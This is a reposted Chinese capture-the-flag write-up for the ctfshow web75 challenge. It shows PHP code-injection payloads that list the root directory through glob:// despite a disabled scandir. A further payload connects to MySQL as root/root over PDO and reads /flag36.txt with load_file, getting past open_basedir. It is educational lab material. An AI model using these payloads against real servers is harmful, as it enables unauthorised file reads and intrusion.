欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 美景 > [ctfshow web入门] web75

[ctfshow web入门] web75

2025/5/16 9:30:16 来源:https://blog.csdn.net/qq_50332504/article/details/147977772  浏览:    关键词:[ctfshow web入门] web75

信息收集

scandir被禁用了

解题

c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);ob_flush();
}

在这里插入图片描述

又有open_basedir限制了
web72里那一大坨代码也不能用了,估计开启了ASLR GS之类的堆栈保护
答案给了新的方法

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."\n<br>"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);

在代码里写注释有时会使代码失效

PDO:(PHP数据对象)是PHP的一个轻量级数据库访问抽象层,允许开发者以一种统一的方式访问多种不同类型的数据库,如MySQL、PostgreSQL、SQLite等。

PDO::query: 执行 SQL 语句,返回PDOStatement对象

select load_file:使用了mysql的load_file函数

load_file:函数允许从服务器的文件系统中读取文件,并将其内容作为字符串返回。然而,这个函数需要满足一定的权限条件,并且文件路径必须是服务器能够访问的

这些都不是关键,关键是数据库名、账号、密码怎么来的,如果不是答案给了,根本不知道
在这里插入图片描述


web    目录    web

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词